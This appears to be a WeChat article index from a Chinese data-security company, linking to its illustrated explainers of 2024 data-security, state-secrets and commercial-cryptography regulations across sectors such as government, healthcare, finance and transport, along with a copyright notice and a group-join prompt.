+**“炼石就是数据安全155”** +**，即可打包下载2024年终合辑全部资料。** + +**** +**** + +**原创声明：** +北京炼石网络技术有限公司对本文的内容及相关产品信息拥有受法律保护的著作权，未经授权许可，任何人不得将本文的全部或部分内容以转让、出售等方式用于商业目的使用。转载、摘编使用本文文字或者观点的应注明来源。文中所载的材料和信息，包括但不限于文本、图片、数据、观点、建议等各种形式，不能替代律师出具的法律意见。违反上述声明者，本公司将追究其相关法律责任。本文撰写过程中，为便于技术说明和涵义解释，引用了一系列的参考文献，内容如有侵权，请联系本公司修改或删除。**** +如需转载请关注公众号回复“ +**转载** +”，或在文章下方留言。 + +**注：** +欢迎业界同仁反馈改进、共同完善、交流合作，信息反馈请发送邮件至： + +support@ciphergateway.com。 + +**扫码入群** + +**为了共同推动数据安全产业发展，欢迎行业同仁加入“[炼石]数据安全技术圈”微信群，探讨数据安全领域的技术经验和法规动态等。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB1Vp4Jwz1JVib8RAvreSuI1pxaaia8uoIrmia7ibibrOn9icbMQrGgL4rrUTTCic31PHnZfrhmmaropPdcA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**扫码入群** + + + + +**（点击标题可进入文章查看）** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + +**法规图解篇** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**行业监管** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +**1** + + +**全行业** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[重磅立法 | 《网络数据安全管理条例》2024年拟制定！](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547484&idx=1&sn=d78c54801512a094e25cce398c69e888&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAxjCh4R0y20gwCMO6UzUBWEwEzG4ZCxZACwF9CWGZR8LPfEAxgmcc4U12NrMHWM0fxLicn6uwRXvw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[《网络数据安全管理条例》全文公开！附七十多处修订对照](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247556045&idx=1&sn=7532304280d463d46d6b56bf97311725&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBX32mBXX1HweCRXvKOBr7WqWqbSuqB3DKWXtYDKzLZcUxJrul37reUbXbO3uqtEWhklqiaSJAEqcQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[600页图解《网络数据安全管理条例》及数据安全合规与技术体系](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247556950&idx=1&sn=7ca13fd71cf5ce96678f4264c5718fe1&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBX32mBXX1HweCRXvKOBr7WrH8Ky2Ww5Ypdnek2nwcsW70iaVyF47NiasoMx2mHlBY7wzibOOyl9pD3Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[100问《网络数据安全管理条例》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557161&idx=1&sn=f3e4f3fcbb222dfde0ea28476ed398e5&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaDKn9HwYBQxQhdfjLpGJhYSSwxYUFAsjia6EozN1aLDKNk5OhzCnsVjHBgg0ze7SdwSrhGbLmvjdrQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载 | 新版《保守国家秘密法》50余处修订对比](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247541494&idx=2&sn=53117915c37502ef3f3f5895f9c5624f&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCeGQ21IDeZh6icvjTrFe2QIcSjFQQ4SdHemzHvwicMCoGXFQgusCSlZ8iaWXlN0ARBHwgGiatk50Wugw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载 | 《保守国家秘密法实施条例》正式公开附修订对照](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551660&idx=1&sn=76d93a696e275d9a4222545a9ff137df&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD2tvO32OLahbsN4qG0rsaqXy0VdgCdNiaCzEDD6DVbictqSOiapvCaeUua6Ce87LEW29HMicibgeTDQDw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[图解国家数据局《"数据要素×"三年行动计划》及修订对比-附下载](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247534949&idx=1&sn=a551470a69662dffa8809d086db61dca&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBCsrImR7PeAp4mtNUV73bDKS9STAU5NNCSj82EzpibrTXV7wFiaJSM4sZRxFqSTiczricBMLtl3L4kRw/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[幻灯片图解国家网信办新规《促进和规范数据跨境流动规定》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247543908&idx=1&sn=f653284e712939afbf30e50baed6f777&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBvJq8EQf6tYNnmdhPsV5Nero0iaIibrnWQIeAoa9ia6uL3HkyQbPcSOP8o4nv3iaicVRuhJ0YoCfia4O4g/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[100页幻灯片图解北京自贸区数据出境“负面清单”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554983&idx=1&sn=476d152cfccf41a8510ed5493a68f236&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBlxI8Oe8K03ib8j6QxrVicPMJniac89jh8NzlNuE0RrNhJMCtPq2Z5kTXej6hJZ3zicJS6S7RMsPgMGA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[密码局、网信办、公安部发布“关基商用密码使用管理规定（征）”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247558809&idx=1&sn=a1cf9aaa3674a757d03be07f215466c8&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAJpAGPmYbXs8ZOVYIGq5zPPPBLInTAvQfxCwy1n1zqK53pBRbUa1BoI85XUicekRMlAOFSK1z4zXA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载! 200页图解国密局等三部委关基商用密码使用管理规定(征)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247559301&idx=1&sn=94fc33aa1a410b35f31e399d609d87dd&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaArwD897EcU25rzrvdYLzFH3zdmDkSQbCiaf11qY4iaCibQ1IsbKznkNrjfEibc90GbF56TZebIuyf9vw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**2** + + +**政务** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 图解国家四部委《互联网政务应用安全管理规定》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548995&idx=1&sn=348a0e42eed959f83ff9881576cf67cb&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaARG29hlJ3TDFwxPcuEx6fiaQRfE2cMnxSJKGeicDObWXSXzNCP0ZAKZa23lqibXXq3yG4W0HqicYT2icA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 图解公安网信《国家网络身份认证公共服务管理办法(征)》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247552142&idx=1&sn=eb52c4a700d7d423c9b87cc84a7a25c1&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDKTrsXgI10NFpveFk4ZEU37ibJsQgF9iaibEduzdjxBX63XODgnU7YjNzE49rLnjmU6UOrzMPiaZ6d3A/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[自然资源部发布数据安全管理办法，要求加密保护各环节数据！](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247550388&idx=1&sn=5421fe01eb024db2198b181097095bc0&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBZ8MmVTXceKicaiaFb6AwiaZImjjRRuJspa7zYJJHMTfUNYeokPrnXP2XWVia8ypLcgfAQicnlY0VfIQw/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**3** + + +**工信** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 200页幻灯片图解工信部数据安全能力提升实施方案](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247541361&idx=1&sn=989a2efca6af7665785828e7651b9778&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBNStBuuMFkBWso5u5UXjxyib8lBKIbrSBGvZyu3XWq5WMCtGSfop0t05ib2ibMtXl4oTvctQ86ibyLMw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载｜200页幻灯片图解工信部数据安全风险评估实施细则](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548160&idx=1&sn=61d48554e958dae2c2d7d499a52b4fe7&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBrfGgKYFzK0wS1fRGnQibBicqAn3ZMPiaKoicbbHE4589eJ34tlcTLNE0XZpibWFnf7xLloP5gBQC9KaQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[300页图解工信数据安全应急预案，未按要求处置将约谈或处罚](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247558404&idx=1&sn=b32f80ffa3abbfab87ba8d592a63b7de&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCJz79aGiaGDmWML5CDTAuzh2q9KyodACzKLcGIpdjMdZibEr5gjyAdrE08b5KOic6vZoPQBhqqFq9mQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载！200页图解《工信领域数据安全合规指引》正式版](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247559608&idx=1&sn=5abc4a9c66de41f17dac0f1ab294b989&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB0w8oPptRA0p1J6pj1aqdMicIuAibEiaMX2QRefgKKibH2XpF4uBQ95eQooiaBZtSGop7POpY8nOfFickA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[工信领域数据安全“合规指引”来了 | 附下载（历史文章供参考）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557572&idx=1&sn=3a912e5fd28efeed38788203fd935cbc&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBI0mQic88jicS2iaCs1VN7vHEDibMLibVPYK3VlA3nEI4stjbgUQjmfQOib8aLnlbuMBwwiby2ABOdYzicCw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +**4** + + +**医疗** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载｜200页幻灯片图解医疗数据安全](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247535504&idx=1&sn=b5e74d555c22bb784d208c2bb13fca4e&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDhul36pY2B59FQnEBia4JAOiaGGnK4HibJD81XVKzKoHicctfq8ZNCrjrBCiaM03te0bLRpHt8PmwO0Fw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[每年测评！北京卫健印发电子病历规范，要求加密保护患者隐私](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247553053&idx=1&sn=e0d488fb2c15210c972828df3b96e82a&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBHlaBCbcsZV1uWhMbJeOEnVhia0cGpdrLtz4qwh0pysq9ww4RFxMSibOrDKKULqhRzmF4Qy6Micria4A/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**5** + + +**金融** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[600页幻灯片图解国家金监局《银行保险机构数据安全管理办法》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247567675&idx=1&sn=4a21de4fc32102a4b6fd78b9aae13137&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCyeguLem1FVeibPqGfuvdibBtlRKIbWdAO2icXibyfmmqHm01ibQXXjjvyKcQ2CoSHDSiaiaLVDrLmmMK3A/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[会计师事务所数据安全新规正式发布，范围更广、执法更严！](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547704&idx=1&sn=9ca31f747d094d9cc00577e9c3977dc7&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaA0aPt3JeGQhFj6BbFCx9w3W4cDpzuNBdhJd27sHAicfnyOPsoxRfmZchZzIYWYqKjcJibETtZGWia2g/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**6** + + +**交通** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[交通运输部铁路关基保护办法今起施行｜附"空铁公水"关保图解](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247537491&idx=1&sn=e72cedbb34cebf1e6a08e24ec11c9868&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCSiadfljkyKgAMzqEJ3yLf03Pwh48gB2GpTj2Z0YH4mgawuq3BsOV1RmKbPRcHTJURSzCLVzduugg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[中国民航局发布数据管理新规，鼓励使用密码技术保护数据安全](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247546359&idx=1&sn=a553adb01859a89226d2e137e683eede&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaClUUPtEhIyI298sTOhicibPa6Dw23MAGIa4BjLD7uVmMeBITdZQXPfic6Mj0SkCaECDUSvSEiaWRSCaA/640?wx_fmt=jpeg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[民航局数据新规二次征求意见，明确使用密码技术保护数据安全](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549685&idx=1&sn=f7c34cbbb5bd8a22f1d64fc91223d9b8&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDmLNYMQapsXA7q9FzmkWFrkGDZBAIE4yI3o5EM7bdNGzqUlFWhwZ110Pq2SbTatn6HRWcsX322PA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**密评密改** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载｜400页幻灯片图解密评密改（2024版）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247540784&idx=1&sn=e28a4a993900c13a452fd47602fc60b9&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBiaqvaqeKEguj1t6XiaEpYkjR1nmbzfWyr8zhial476XqfTkicHKAd3JY9mUgm0IEJkiaWyq847LbOgzw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[地图速览首批通过国密局材料审查的155家密评机构（附下载）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247543953&idx=1&sn=cb08ded2a4120e817ef928d2b010b7af&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAkwp2GpeVMW0chOgt0JVPyGUVicHoSSicJPs2licfAeaXZC7EpWoAiaSYSoMQQ9D4nRSWPECic0dnOtTw/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载｜密评联委会发布“政务服务平台”与“政务云”密评实施指南](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247545280&idx=1&sn=5a6336fd14b0237cffb6b8cbe92e9f1a&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCEqOvfVguw4mJTSOrkC4XVhX5Jbe1tojUz4VpUia4Ol8GARQPE0nMOjllr7Tgw5ODWMmd92uz6vVw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[密评地图下载｜新一批通过国密局材料审查的19家密评机构公示](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548275&idx=2&sn=d3ed640ae94872cae858e564d48b32e5&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDORvT8COxl7kSMejpiaJfMia69amgRiaNfWxuvQRFkwjxNBmr7HBWmib1BIYz4sClrnibeUT2E0Ko2h1w/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[重磅！通过国密局技术评审的112家密评机构公示](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557668&idx=1&sn=a5350950547518c8a153598570f15b1e&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBj2RJpLukQhklTRg1grOx0FAykvJic3CzAgHYeSKRlQc45C2E9hl7QaeibtHmxPkawERtNOPL5C7zQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[全国密评地图 | 国密局112家密评机构名单正式发布](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247558591&idx=1&sn=b07cf9382d2e2e9533def987f872e473&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD54q9KxZy52Y7tOIf9zcIbdmcnOpBf4cxN8V6vG0wbRoshMThuic82LrOQgQ2vZjgIXYGNypwFegg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + 